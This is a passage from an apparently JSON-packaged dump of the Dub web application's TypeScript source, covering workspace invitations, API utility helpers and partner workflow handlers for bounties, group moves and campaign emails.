message,\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/api/users.ts",
    "content": "import { Session, hashToken } from \"@/lib/auth\";\nimport { WorkspaceWithUsers } from \"@/lib/types\";\nimport { sendEmail } from \"@dub/email\";\nimport WorkspaceInvite from \"@dub/email/templates/workspace-invite\";\nimport { prisma } from \"@dub/prisma\";\nimport { WorkspaceRole } from \"@dub/prisma/client\";\nimport { TWO_WEEKS_IN_SECONDS } from \"@dub/utils\";\nimport { randomBytes } from \"crypto\";\nimport { DubApiError } from \"./errors\";\n\nexport async function inviteUser({\n  email,\n  role = \"member\",\n  workspace,\n  session,\n}: {\n  email: string;\n  role?: WorkspaceRole;\n  workspace: WorkspaceWithUsers;\n  session?: Session;\n}) {\n  // same method of generating a token as next-auth\n  const token = randomBytes(32).toString(\"hex\");\n  const expires = new Date(Date.now() + TWO_WEEKS_IN_SECONDS * 1000);\n\n  // create a workspace invite record and a verification request token that lasts for a week\n  // here we use a try catch to account for the case where the user has already been invited\n  // for which `prisma.projectInvite.create()` will throw a unique constraint error\n  try {\n    await prisma.projectInvite.create({\n      data: {\n        email,\n        role,\n        expires,\n        projectId: workspace.id,\n      },\n    });\n  } catch (error) {\n    if (error.code === \"P2002\") {\n      throw new DubApiError({\n        code: \"conflict\",\n        message: `User ${email} has already been invited to this workspace.`,\n      });\n    }\n  }\n\n  await prisma.verificationToken.create({\n    data: {\n      identifier: email,\n      token: await hashToken(token, { secret: true }),\n      expires,\n    },\n  });\n\n  const params = new URLSearchParams({\n    callbackUrl: `${process.env.NEXTAUTH_URL}/${workspace.slug}/invite`,\n    email,\n    token,\n  });\n\n  const url = `${process.env.NEXTAUTH_URL}/api/auth/callback/email?${params}`;\n\n  return await sendEmail({\n    subject: `You've been invited to join a workspace on ${process.env.NEXT_PUBLIC_APP_NAME}`,\n    to: email,\n    react: WorkspaceInvite({\n      email,\n      url,\n      workspaceName: workspace.name,\n      workspaceUser: session?.user.name || null,\n      workspaceUserEmail: session?.user.email || null,\n    }),\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/api/utils/assert-valid-date-range-for-plan.ts",
    "content": "import { validDateRangeForPlan } from \"@/lib/analytics/utils\";\nimport { DubApiError } from \"../../api/errors\";\n\nexport const assertValidDateRangeForPlan = (params: {\n  plan?: string | null;\n  dataAvailableFrom?: Date;\n  interval?: string;\n  start?: Date | null;\n  end?: Date | null;\n}) => {\n  const result = validDateRangeForPlan(params);\n\n  if (!result.valid) {\n    throw new DubApiError({\n      code: \"forbidden\",\n      message: result.message,\n    });\n  }\n\n  return true;\n};\n"
  },
  {
    "path": "apps/web/lib/api/utils/generate-export-filename.ts",
    "content": "import { capitalize } from \"@dub/utils\";\n\n// Generates a sanitized filename for exports with a timestamp\n// Example: \"Dub Partners Export - 2025-10-27-15-49-12.csv\"\nexport function generateExportFilename(exportType: string): string {\n  // Sanitize timestamp: remove colons, replace T with hyphen, remove milliseconds and Z\n  const sanitizedTimestamp = new Date()\n    .toISOString()\n    .replace(/:/g, \"-\")\n    .replace(\"T\", \"-\")\n    .replace(/\\.\\d{3}Z$/, \"\");\n\n  return `Dub ${capitalize(exportType)} Export - ${sanitizedTimestamp}.csv`;\n}\n"
  },
  {
    "path": "apps/web/lib/api/utils/generate-random-string.ts",
    "content": "import { randomBytes } from \"crypto\";\n\nexport function generateRandomString(length: number): string {\n  const charset = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\n  const randomBytesArray = randomBytes(length);\n  let result = \"\";\n\n  for (let i = 0; i < length; i++) {\n    const randomIndex = randomBytesArray[i] % charset.length;\n    result += charset[randomIndex];\n  }\n\n  return result;\n}\n"
  },
  {
    "path": "apps/web/lib/api/utils/get-ip.ts",
    "content": "import { headers } from \"next/headers\";\n\nexport const getIP = async () => {\n  const FALLBACK_IP_ADDRESS = \"0.0.0.0\";\n  const forwardedFor = (await headers()).get(\"x-forwarded-for\");\n\n  if (forwardedFor) {\n    return forwardedFor.split(\",\")[0] ?? FALLBACK_IP_ADDRESS;\n  }\n\n  return (await headers()).get(\"x-real-ip\") ?? FALLBACK_IP_ADDRESS;\n};\n"
  },
  {
    "path": "apps/web/lib/api/utils/is-non-empty-json.ts",
    "content": "export function isNonEmptyJson(jsonString?: string | null): boolean {\n  if (!jsonString) {\n    return false;\n  }\n\n  try {\n    const parsed = JSON.parse(jsonString);\n\n    return (\n      parsed !== null &&\n      typeof parsed === \"object\" &&\n      Object.keys(parsed).length > 0\n    );\n  } catch {\n    return false;\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/api/utils/with-prisma-retry.ts",
    "content": "import { Prisma } from \"@dub/prisma/client\";\n\nconst DEFAULT_CONFIG = {\n  maxRetries: 3,\n  retryDelay: 500, // 500ms\n  exponentialBackoff: true,\n};\n\nconst RETRIABLE_ERROR_CODES = new Set([\n  \"P1001\",\n  \"P1002\",\n  \"P1008\",\n  \"P1011\",\n  \"P1017\",\n  \"P2024\",\n  \"P2028\",\n  \"P2034\",\n  \"P2037\",\n]);\n\n// Helper function for retrying operations\nexport async function withPrismaRetry<T>(\n  operation: () => Promise<T>,\n  configOverride?: typeof DEFAULT_CONFIG,\n): Promise<T> {\n  const config = {\n    ...DEFAULT_CONFIG,\n    ...configOverride,\n  };\n  let lastError: Error;\n\n  for (let attempt = 0; attempt <= config.maxRetries; attempt++) {\n    try {\n      return await operation();\n    } catch (error) {\n      lastError = error as Error;\n\n      if (error instanceof Prisma.PrismaClientKnownRequestError) {\n        if (!RETRIABLE_ERROR_CODES.has(error.code)) {\n          throw error;\n        }\n      }\n\n      // Also avoid retrying on validation errors\n      if (error instanceof Prisma.PrismaClientValidationError) {\n        throw error;\n      }\n\n      // Don't retry on the last attempt\n      if (attempt === config.maxRetries) {\n        console.error(`Failed after ${config.maxRetries + 1} attempts:`, error);\n        throw error;\n      }\n\n      // Calculate delay with exponential backoff\n      const delay = config.exponentialBackoff\n        ? config.retryDelay * Math.pow(2, attempt)\n        : config.retryDelay;\n\n      console.warn(\n        `Failed (attempt ${attempt + 1}/${config.maxRetries + 1}), retrying in ${delay}ms:`,\n        error.message,\n      );\n\n      // Add delay before retrying\n      await new Promise((resolve) => setTimeout(resolve, delay));\n    }\n  }\n\n  throw lastError!;\n}\n"
  },
  {
    "path": "apps/web/lib/api/utils.ts",
    "content": "import { ipAddress } from \"@vercel/functions\";\nimport { getToken } from \"next-auth/jwt\";\nimport { NextRequest } from \"next/server\";\nimport { ratelimit } from \"../upstash\";\nimport { DubApiError } from \"./errors\";\n\n// TODO move into `lib/api/utils/**` as individual files\n\nexport const parseRequestBody = async (req: Request) => {\n  try {\n    return await req.json();\n  } catch (e) {\n    console.error(e);\n    throw new DubApiError({\n      code: \"bad_request\",\n      message:\n        \"Invalid JSON format in request body. Please ensure the request body is a valid JSON object.\",\n    });\n  }\n};\n\nexport const ratelimitOrThrow = async (\n  req: NextRequest,\n  identifier?: string,\n) => {\n  // Rate limit if user is not logged in\n  const session = await getToken({\n    req,\n    secret: process.env.NEXTAUTH_SECRET,\n  });\n  if (!session?.email) {\n    const ip = ipAddress(req);\n    const { success } = await ratelimit().limit(\n      `${identifier || \"ratelimit\"}:${ip}`,\n    );\n    if (!success) {\n      throw new DubApiError({\n        code: \"rate_limit_exceeded\",\n        message: \"Don't DDoS me pls 🥺\",\n      });\n    }\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/api/utm/extract-utm-params.ts",
    "content": "import { UtmTemplate } from \"@dub/prisma/client\";\n\nexport const extractUtmParams = (\n  utmTemplate?: Pick<\n    UtmTemplate,\n    | \"utm_source\"\n    | \"utm_medium\"\n    | \"utm_campaign\"\n    | \"utm_term\"\n    | \"utm_content\"\n    | \"ref\"\n  > | null,\n  { excludeRef = false }: { excludeRef?: boolean } = {},\n) => {\n  // if there is no utm template, return null for all utm params\n  if (!utmTemplate)\n    return {\n      utm_source: null,\n      utm_medium: null,\n      utm_campaign: null,\n      utm_term: null,\n      utm_content: null,\n      ...(excludeRef ? {} : { ref: null }),\n    };\n  return {\n    utm_source: utmTemplate.utm_source,\n    utm_medium: utmTemplate.utm_medium,\n    utm_campaign: utmTemplate.utm_campaign,\n    utm_term: utmTemplate.utm_term,\n    utm_content: utmTemplate.utm_content,\n    ...(excludeRef ? {} : { ref: utmTemplate.ref }),\n  };\n};\n"
  },
  {
    "path": "apps/web/lib/api/validate-allowed-hostnames.ts",
    "content": "import { validDomainRegex } from \"@dub/utils\";\nimport { DubApiError } from \"./errors\";\n\nconst MAX_HOSTNAMES_ALLOWED = 10;\n\nexport const validateAllowedHostnames = (\n  allowedHostnames: string[] | undefined,\n) => {\n  if (!allowedHostnames) {\n    return [];\n  }\n\n  allowedHostnames = [...new Set(allowedHostnames)];\n\n  const results = allowedHostnames.map(\n    (hostname) =>\n      validDomainRegex.test(hostname) ||\n      hostname === \"localhost\" ||\n      hostname.startsWith(\"*.\"),\n  );\n\n  const invalidHostnames = results.filter((result) => !result);\n\n  if (invalidHostnames.length > 0) {\n    throw new DubApiError({\n      code: \"unprocessable_entity\",\n      message: \"Invalid hostnames.\",\n    });\n  }\n\n  if (allowedHostnames && allowedHostnames.length > MAX_HOSTNAMES_ALLOWED) {\n    throw new DubApiError({\n      code: \"unprocessable_entity\",\n      message: `Maximum of ${MAX_HOSTNAMES_ALLOWED} hostnames allowed.`,\n    });\n  }\n\n  return allowedHostnames;\n};\n"
  },
  {
    "path": "apps/web/lib/api/workflows/evaluate-workflow-conditions.ts",
    "content": "import { WorkflowCondition, WorkflowConditionAttribute } from \"@/lib/types\";\nimport { OPERATOR_FUNCTIONS } from \"@/lib/zod/schemas/workflows\";\n\nexport function evaluateWorkflowConditions({\n  conditions,\n  attributes,\n}: {\n  conditions: WorkflowCondition[];\n  attributes: Partial<Record<WorkflowConditionAttribute, number | null>>;\n}): boolean {\n  if (conditions.length === 0) return false;\n\n  for (const condition of conditions) {\n    const operatorFn = OPERATOR_FUNCTIONS[condition.operator];\n\n    if (!operatorFn) {\n      console.error(`Operator ${condition.operator} is not supported.`);\n      return false;\n    }\n\n    const attributeValue = attributes[condition.attribute];\n\n    if (attributeValue == null) {\n      console.error(`${condition.attribute} doesn't exist in the context.`);\n      return false;\n    }\n\n    if (!operatorFn(attributeValue, condition.value)) {\n      return false;\n    }\n  }\n\n  return true;\n}\n"
  },
  {
    "path": "apps/web/lib/api/workflows/execute-complete-bounty-workflow.ts",
    "content": "import { evaluateWorkflowConditions } from \"@/lib/api/workflows/evaluate-workflow-conditions\";\nimport { WorkflowConditionAttribute, WorkflowContext } from \"@/lib/types\";\nimport { WORKFLOW_ACTION_TYPES } from \"@/lib/zod/schemas/workflows\";\nimport { sendBatchEmail, sendEmail } from \"@dub/email\";\nimport BountyCompleted from \"@dub/email/templates/bounty-completed\";\nimport NewBountySubmission from \"@dub/email/templates/bounty-new-submission\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  BountySubmissionStatus,\n  Workflow,\n  WorkspaceRole,\n} from \"@dub/prisma/client\";\nimport { createId } from \"../create-id\";\nimport { getWorkspaceUsers } from \"../get-workspace-users\";\nimport { parseWorkflowConfig } from \"./parse-workflow-config\";\n\nconst terminalStatusReason: Record<\n  Exclude<BountySubmissionStatus, \"draft\">,\n  string\n> = {\n  submitted: \"finished\",\n  approved: \"been awarded\",\n  rejected: \"been rejected\",\n};\n\nexport const executeCompleteBountyWorkflow = async ({\n  workflow,\n  context,\n}: {\n  workflow: Workflow;\n  context: WorkflowContext;\n}) => {\n  const { condition, action } = parseWorkflowConfig(workflow);\n\n  if (action.type !== WORKFLOW_ACTION_TYPES.AwardBounty) {\n    return;\n  }\n\n  const { bountyId } = action.data;\n  const { identity, metrics } = context;\n  const { partnerId, groupId } = identity;\n\n  if (!groupId) {\n    console.error(\"Partner groupId not set in the context.\");\n    return;\n  }\n\n  // Find the bounty\n  const bounty = await prisma.bounty.findUnique({\n    where: {\n      id: bountyId,\n    },\n    include: {\n      program: true,\n      groups: true,\n      submissions: {\n        where: {\n          partnerId,\n        },\n      },\n    },\n  });\n\n  if (!bounty) {\n    console.error(`Bounty ${bountyId} not found.`);\n    return;\n  }\n\n  if (!bounty.rewardAmount) {\n    console.error(`Bounty ${bountyId} has no reward amount.`);\n    return;\n  }\n\n  // this won't happen as we create workflows for performance based bounties only\n  if (bounty.type !== \"performance\") {\n    console.error(`Bounty ${bountyId} is not a performance based bounty.`);\n    return;\n  }\n\n  const now = new Date();\n\n  // Check if bounty is active\n  if (\n    (bounty.startsAt && bounty.startsAt > now) ||\n    (bounty.endsAt && bounty.endsAt < now) ||\n    bounty.archivedAt\n  ) {\n    console.log(`Bounty ${bounty.id} is no longer active.`);\n    return;\n  }\n\n  const { groups, submissions } = bounty;\n\n  // If the bounty is part of a group, check if the partner is in the group\n  if (groups.length > 0) {\n    const groupIds = groups.map(({ groupId }) => groupId);\n\n    if (!groupIds.includes(groupId)) {\n      console.log(\n        `Partner ${partnerId} is not eligible for bounty ${bounty.id} because they are not in any of the assigned groups. Partner's groupId: ${groupId}. Assigned groupIds: ${groupIds.join(\", \")}.`,\n      );\n      return;\n    }\n  }\n\n  if (submissions.length > 0) {\n    const submission = submissions[0];\n\n    if (submission.status !== \"draft\") {\n      const reason = terminalStatusReason[submission.status];\n\n      if (reason) {\n        console.log(\n          `Partner ${partnerId} has already ${reason} this bounty (bountyId: ${bounty.id}, submissionId: ${submission.id}).`,\n        );\n        return;\n      }\n    }\n  }\n\n  console.log(\n    `Partner is eligible for bounty ${bounty.id}, executing workflow ${bounty.workflowId}...`,\n  );\n\n  const finalContext: Partial<\n    Record<WorkflowConditionAttribute, number | null>\n  > = {\n    totalLeads: metrics?.current?.leads ?? 0,\n    totalConversions: metrics?.current?.conversions ?? 0,\n    totalSaleAmount: metrics?.current?.saleAmount ?? 0,\n    totalCommissions: metrics?.current?.commissions ?? 0,\n  };\n\n  const performanceCount = finalContext[condition.attribute] ?? 0;\n  const periodNumber = 1; // Only one submission is allowed for performance based bounties\n\n  // Create or update the submission\n  const bountySubmission = await prisma.bountySubmission.upsert({\n    where: {\n      bountyId_partnerId_periodNumber: {\n        bountyId,\n        partnerId,\n        periodNumber,\n      },\n    },\n    create: {\n      id: createId({ prefix: \"bnty_sub_\" }),\n      programId: bounty.programId,\n      partnerId,\n      bountyId: bounty.id,\n      periodNumber,\n      status: \"draft\",\n      performanceCount,\n    },\n    update: {\n      performanceCount: {\n        increment: performanceCount,\n      },\n    },\n  });\n\n  // Check if the bounty submission meet the reward criteria\n  const shouldExecute = evaluateWorkflowConditions({\n    conditions: [condition],\n    attributes: {\n      [condition.attribute]: Number(bountySubmission.performanceCount ?? 0),\n    },\n  });\n\n  if (!shouldExecute) {\n    console.log(\n      `Bounty submission ${bountySubmission.id} does not meet the trigger condition.`,\n    );\n    return;\n  }\n\n  // Mark the bounty as submitted\n  const { partner } = await prisma.bountySubmission.update({\n    where: {\n      id: bountySubmission.id,\n      status: \"draft\",\n    },\n    data: {\n      status: \"submitted\",\n      completedAt: new Date(),\n    },\n    include: {\n      partner: true,\n    },\n  });\n\n  if (partner.email) {\n    await sendEmail({\n      subject: \"Bounty completed!\",\n      to: partner.email,\n      variant: \"notifications\",\n      replyTo: bounty.program.supportEmail || \"noreply\",\n      react: BountyCompleted({\n        email: partner.email,\n        bounty: {\n          name: bounty.name,\n          type: bounty.type,\n        },\n        program: {\n          name: bounty.program.name,\n          slug: bounty.program.slug,\n        },\n      }),\n    });\n\n    // Send email to the program owners\n    // TODO: combine with what we're doing on createBountySubmissionAction maybe?\n    const { users, program, ...workspace } = await getWorkspaceUsers({\n      programId: bounty.programId,\n      role: WorkspaceRole.owner,\n      notificationPreference: \"newBountySubmitted\",\n    });\n\n    if (users.length > 0) {\n      await sendBatchEmail(\n        users.map((user) => ({\n          variant: \"notifications\",\n          to: user.email,\n          subject: \"New bounty submission\",\n          react: NewBountySubmission({\n            email: user.email,\n            workspace: {\n              slug: workspace.slug,\n            },\n            bounty: {\n              id: bounty.id,\n              name: bounty.name,\n            },\n            partner: {\n              id: partner.id,\n              name: partner.name,\n              image: partner.image,\n              email: partner.email!,\n            },\n            submission: {\n              id: bountySubmission.id,\n            },\n          }),\n        })),\n      );\n    }\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/api/workflows/execute-move-group-workflow.ts",
    "content": "import { WorkflowConditionAttribute, WorkflowContext } from \"@/lib/types\";\nimport { redis } from \"@/lib/upstash/redis\";\nimport { WORKFLOW_ACTION_TYPES } from \"@/lib/zod/schemas/workflows\";\nimport { prisma } from \"@dub/prisma\";\nimport { Workflow } from \"@dub/prisma/client\";\nimport { movePartnersToGroup } from \"../groups/move-partners-to-group\";\nimport { evaluateWorkflowConditions } from \"./evaluate-workflow-conditions\";\nimport { parseWorkflowConfig } from \"./parse-workflow-config\";\n\nexport const executeMoveGroupWorkflow = async ({\n  workflow,\n  context,\n}: {\n  workflow: Workflow;\n  context: WorkflowContext;\n}) => {\n  const { conditions, action } = parseWorkflowConfig(workflow);\n\n  if (action.type !== WORKFLOW_ACTION_TYPES.MoveGroup) {\n    console.error(\n      `Workflow ${workflow.id} is not a move group workflow: ${action.type}. Skipping..`,\n    );\n    return;\n  }\n\n  const { identity, metrics } = context;\n  const { workspaceId, programId, partnerId, groupId } = identity;\n\n  if (!groupId) {\n    console.error(\"Partner groupId not set in the context. Skipping..\");\n    return;\n  }\n\n  const { groupId: newGroupId } = action.data;\n\n  // Fetch program enrollment to get fresh groupId\n  const programEnrollment = await prisma.programEnrollment.findUniqueOrThrow({\n    where: {\n      partnerId_programId: {\n        partnerId,\n        programId,\n      },\n    },\n    select: {\n      groupId: true,\n      groupMoveDisabledAt: true,\n    },\n  });\n\n  if (programEnrollment.groupId === newGroupId) {\n    console.log(\n      `Partner ${partnerId} is already in target group ${newGroupId}. Skipping..`,\n    );\n    return;\n  }\n\n  // If the partner has group move rules disabled, skip the workflow\n  if (programEnrollment.groupMoveDisabledAt) {\n    console.log(\n      `Partner ${partnerId} has group move rules disabled. Skipping..`,\n    );\n    return;\n  }\n\n  const attributes: Partial<Record<WorkflowConditionAttribute, number | null>> =\n    {\n      totalLeads: metrics?.aggregated?.leads ?? 0,\n      totalConversions: metrics?.aggregated?.conversions ?? 0,\n      totalSaleAmount: metrics?.aggregated?.saleAmount ?? 0,\n      totalCommissions: metrics?.aggregated?.commissions ?? 0,\n    };\n\n  const shouldExecute = evaluateWorkflowConditions({\n    conditions,\n    attributes,\n  });\n\n  if (!shouldExecute) {\n    console.log(\n      `Partner does not meet the trigger condition for the workflow ${workflow.id}. Skipping..`,\n    );\n    return;\n  }\n\n  console.log(\n    `Partner meets the trigger condition for the workflow ${workflow.id}. Executing..`,\n  );\n\n  const newGroup = await prisma.partnerGroup.findUnique({\n    where: {\n      id: newGroupId,\n    },\n    select: {\n      id: true,\n      name: true,\n      clickRewardId: true,\n      leadRewardId: true,\n      saleRewardId: true,\n      discountId: true,\n    },\n  });\n\n  if (!newGroup) {\n    console.log(`Group ${newGroupId} not found. Skipping..`);\n    return;\n  }\n\n  // Prevents duplicate moves when a workflow with matching conditions\n  // are triggered by the same partnerMetricsUpdated event.\n  const lockKey = `workflow:moveGroup:${programId}:${newGroupId}:${partnerId}`;\n  const acquired = await redis.set(lockKey, \"1\", { nx: true, ex: 10 });\n\n  if (!acquired) {\n    console.log(`Partner ${partnerId} move already in progress. Skipping..`);\n    return;\n  }\n\n  try {\n    await movePartnersToGroup({\n      workspaceId,\n      programId,\n      partnerIds: [partnerId],\n      userId: null,\n      group: newGroup,\n    });\n  } finally {\n    await redis.del(lockKey);\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/api/workflows/execute-send-campaign-workflow.ts",
    "content": "import { evaluateWorkflowConditions } from \"@/lib/api/workflows/evaluate-workflow-conditions\";\nimport { aggregatePartnerLinksStats } from \"@/lib/partners/aggregate-partner-links-stats\";\nimport {\n  CampaignTriggerCondition,\n  TiptapNode,\n  WorkflowConditionAttribute,\n  WorkflowContext,\n} from \"@/lib/types\";\nimport { WORKFLOW_ACTION_TYPES } from \"@/lib/zod/schemas/workflows\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport CampaignEmail from \"@dub/email/templates/campaign-email\";\nimport { prisma } from \"@dub/prisma\";\nimport { NotificationEmailType, Prisma, Workflow } from \"@dub/prisma/client\";\nimport { chunk } from \"@dub/utils\";\nimport { addHours, differenceInDays, subDays } from \"date-fns\";\nimport { validateCampaignFromAddress } from \"../campaigns/validate-campaign\";\nimport { createId } from \"../create-id\";\nimport { parseWorkflowConfig } from \"./parse-workflow-config\";\nimport { renderCampaignEmailHTML } from \"./render-campaign-email-html\";\n\nexport const executeSendCampaignWorkflow = async ({\n  workflow,\n  context,\n}: {\n  workflow: Workflow;\n  context?: WorkflowContext;\n}) => {\n  const { condition, action } = parseWorkflowConfig(workflow);\n\n  if (action.type !== WORKFLOW_ACTION_TYPES.SendCampaign) {\n    console.log(\n      `Workflow ${workflow.id} is not a send campaign workflow: ${action.type}`,\n    );\n    return;\n  }\n\n  const { campaignId } = action.data;\n  const { programId, partnerId } = context?.identity || {\n    programId: workflow.programId,\n    partnerId: undefined,\n  };\n\n  const campaign = await prisma.campaign.findUnique({\n    where: {\n      id: campaignId,\n    },\n    include: {\n      groups: true,\n      program: {\n        include: {\n          emailDomains: {\n            where: {\n              status: \"verified\",\n            },\n          },\n        },\n      },\n    },\n  });\n\n  if (!campaign) {\n    console.log(`Workflow ${workflow.id} campaign ${campaignId} not found.`);\n    return;\n  }\n\n  if (campaign.status !== \"active\") {\n    console.log(`Campaign ${campaignId} is not active.`);\n    return;\n  }\n\n  let programEnrollments = await getProgramEnrollments({\n    programId,\n    partnerId,\n    groupIds: campaign.groups.map(({ groupId }) => groupId),\n    condition: condition as CampaignTriggerCondition,\n  });\n\n  if (programEnrollments.length === 0) {\n    console.log(\n      `Workflow ${workflow.id} no program enrollments found to send campaign emails to, skipping...`,\n    );\n    return;\n  }\n\n  console.log(\n    `Found ${programEnrollments.length} program enrollments to send campaign emails to.`,\n  );\n\n  // Fetch already-sent campaign emails for these partners to prevent duplicates\n  const alreadySentEmails = await prisma.notificationEmail.findMany({\n    where: {\n      campaignId: campaign.id,\n      type: \"Campaign\",\n      partnerId: {\n        in: programEnrollments.map(({ partnerId }) => partnerId),\n      },\n    },\n    select: {\n      partnerId: true,\n    },\n  });\n\n  if (alreadySentEmails.length > 0) {\n    console.log(\n      `Workflow ${workflow.id} already sent campaign emails to ${alreadySentEmails.length} partners: ${alreadySentEmails.map(({ partnerId }) => partnerId).join(\", \")}`,\n    );\n  }\n\n  const alreadySentPartnerIds = new Set(\n    alreadySentEmails.map(({ partnerId }) => partnerId),\n  );\n\n  // Exclude partners who already got the campaign\n  programEnrollments = programEnrollments.filter(\n    ({ partnerId }) => !alreadySentPartnerIds.has(partnerId),\n  );\n\n  if (programEnrollments.length === 0) {\n    console.log(\n      `Workflow ${workflow.id} no program enrollments left to send campaign emails to.`,\n    );\n    return;\n  }\n\n  const program = campaign.program;\n\n  // TODO: We should make the from address required. There are existing campaign without from adress\n  if (campaign.from) {\n    validateCampaignFromAddress({\n      campaign,\n      emailDomains: program.emailDomains,\n    });\n  }\n\n  const programEnrollmentsChunks = chunk(programEnrollments, 100);\n\n  for (const programEnrollmentChunk of programEnrollmentsChunks) {\n    const partnerUsers = programEnrollmentChunk.flatMap((enrollment) =>\n      enrollment.partner.users\n        .filter(({ user }) => user.email) // only include users with an email\n        .map(({ user }) => ({\n          ...user,\n          partner: {\n            ...enrollment.partner,\n            users: undefined,\n          },\n          enrollment: {\n            ...enrollment,\n            partner: undefined,\n          },\n        })),\n    );\n\n    // Send emails\n    const { data } = await sendBatchEmail(\n      partnerUsers.map((partnerUser) => ({\n        variant: \"notifications\",\n        ...(campaign.from ? { from: campaign.from } : {}),\n        to: partnerUser.email!,\n        subject: campaign.subject,\n        replyTo: program.supportEmail || \"noreply\",\n        react: CampaignEmail({\n          program: {\n            name: program.name,\n            slug: program.slug,\n            logo: program.logo,\n            messagingEnabledAt: program.messagingEnabledAt,\n          },\n          campaign: {\n            type: campaign.type,\n            preview: campaign.preview,\n            body: renderCampaignEmailHTML({\n              content: campaign.bodyJson as unknown as TiptapNode,\n              variables: {\n                PartnerName: partnerUser.partner.name,\n                PartnerEmail: partnerUser.partner.email,\n                PartnerLink:\n                  partnerUser.enrollment.links?.[0]?.shortLink ?? null,\n              },\n            }),\n          },\n        }),\n        tags: [{ name: \"type\", value: \"notification-email\" }],\n        headers: {\n          \"Idempotency-Key\": `${campaign.id}-${partnerUser.id}`,\n        },\n      })),\n    );\n\n    console.log(\n      `Workflow ${workflow.id} sent ${data?.data.length} emails for campaign ${campaignId}.`,\n    );\n\n    if (data) {\n      const notificationEmails = await prisma.notificationEmail.createMany({\n        data: partnerUsers.map((partnerUser, idx) => ({\n          id: createId({ prefix: \"em_\" }),\n          type: NotificationEmailType.Campaign,\n          emailId: data.data[idx].id,\n          campaignId: campaign.id,\n          programId: campaign.programId,\n          partnerId: partnerUser.partner.id,\n          recipientUserId: partnerUser.id,\n        })),\n      });\n\n      console.log(\n        `Workflow ${workflow.id} created ${notificationEmails.count} notification emails for campaign ${campaignId}.`,\n      );\n    }\n  }\n};\n\nconst enrollmentLinksForEmail = {\n  select: { shortLink: true },\n  orderBy: { id: \"asc\" as const },\n};\n\nconst enrollmentLinksForWorkflowStats = {\n  select: {\n    shortLink: true,\n    clicks: true,\n    leads: true,\n    conversions: true,\n    sales: true,\n    saleAmount: true,\n  },\n  orderBy: { id: \"asc\" as const },\n};\n\nconst includePartnerUsers = {\n  partner: {\n    include: {\n      users: {\n        include: {\n          user: true,\n        },\n      },\n    },\n  },\n  links: enrollmentLinksForEmail,\n} satisfies Prisma.ProgramEnrollmentInclude;\n\nasync function getProgramEnrollments({\n  programId,\n  partnerId,\n  groupIds,\n  condition,\n}: {\n  programId: string;\n  partnerId?: string;\n  groupIds: string[];\n  condition: CampaignTriggerCondition;\n}) {\n  if (partnerId) {\n    const { attribute } = condition;\n\n    const isPartnerLinkStatsAttribute = [\n      \"totalLeads\",\n      \"totalConversions\",\n      \"totalSaleAmount\",\n    ].includes(attribute);\n\n    const programEnrollment = await prisma.programEnrollment.findUnique({\n      where: {\n        partnerId_programId: {\n          partnerId,\n          programId,\n        },\n        status: \"approved\",\n        ...(groupIds.length > 0 && {\n          groupId: {\n            in: groupIds,\n          },\n        }),\n      },\n      include: {\n        ...includePartnerUsers,\n        ...(isPartnerLinkStatsAttribute\n          ? { links: enrollmentLinksForWorkflowStats }\n          : {}),\n      },\n    });\n\n    if (!programEnrollment) {\n      return [];\n    }\n\n    const context: Partial<Record<WorkflowConditionAttribute, number | null>> =\n      {\n        ...(isPartnerLinkStatsAttribute\n          ? aggregatePartnerLinksStats(\n              programEnrollment.links as unknown as NonNullable<\n                Parameters<typeof aggregatePartnerLinksStats>[0]\n              >,\n            )\n          : {}),\n        ...(attribute === \"totalCommissions\"\n          ? {\n              totalCommissions:\n                (\n                  await prisma.commission.aggregate({\n                    where: {\n                      earnings: { not: 0 },\n                      programId,\n                      partnerId,\n                      status: { in: [\"pending\", \"processed\", \"paid\"] },\n                    },\n                    _sum: { earnings: true },\n                  })\n                )._sum.earnings || 0,\n            }\n          : {}),\n        ...(attribute === \"partnerJoined\"\n          ? {\n              partnerJoined: differenceInDays(\n                new Date(),\n                programEnrollment.createdAt,\n              ),\n            }\n          : {}),\n      };\n\n    const shouldExecute = evaluateWorkflowConditions({\n      conditions: [condition],\n      attributes: {\n        [condition.attribute]: context[condition.attribute],\n      },\n    });\n\n    if (!shouldExecute) {\n      return [];\n    }\n\n    return [programEnrollment];\n  }\n\n  const startDate = subDays(new Date(), condition.value);\n  // add 12 hours to the start date since we run the partnerEnrolled workflow every 12 hours\n  const endDate = addHours(startDate, 12);\n\n  // We need to get all program enrollments that match the condition for the scheduled workflows\n  return await prisma.programEnrollment.findMany({\n    where: {\n      programId,\n      status: \"approved\",\n      ...(groupIds.length > 0 && {\n        groupId: {\n          in: groupIds,\n        },\n      }),\n      createdAt: {\n        gte: startDate,\n        lte: endDate,\n      },\n    },\n    include: includePartnerUsers,\n    take: 1000, // rough estimate that a program cannot get more than 1000 enrollments every 12 hours\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/api/workflows/execute-workflows.ts",
    "content": "import { aggregatePartnerLinksStats } from \"@/lib/partners/aggregate-partner-links-stats\";\nimport { WorkflowConditionAttribute, WorkflowContext } from \"@/lib/types\";\nimport { WORKFLOW_ACTION_TYPES } from \"@/lib/zod/schemas/workflows\";\nimport { prisma } from \"@dub/prisma\";\nimport { Workflow } from \"@dub/prisma/client\";\nimport { executeCompleteBountyWorkflow } from \"./execute-complete-bounty-workflow\";\nimport { executeMoveGroupWorkflow } from \"./execute-move-group-workflow\";\nimport { executeSendCampaignWorkflow } from \"./execute-send-campaign-workflow\";\nimport { parseWorkflowConfig } from \"./parse-workflow-config\";\n\ninterface WorkflowActionHandler {\n  execute(params: {\n    workflow: Workflow;\n    context: WorkflowContext;\n  }): Promise<void>;\n}\n\nconst ACTION_HANDLERS: Record<WORKFLOW_ACTION_TYPES, WorkflowActionHandler> = {\n  [WORKFLOW_ACTION_TYPES.AwardBounty]: {\n    execute: executeCompleteBountyWorkflow,\n  },\n\n  [WORKFLOW_ACTION_TYPES.SendCampaign]: {\n    execute: executeSendCampaignWorkflow,\n  },\n\n  [WORKFLOW_ACTION_TYPES.MoveGroup]: {\n    execute: executeMoveGroupWorkflow,\n  },\n};\n\n// Map reason to expected attributes for early filtering optimization.\n// This prevents workflows from executing unnecessarily\nconst REASON_TO_ATTRIBUTES: 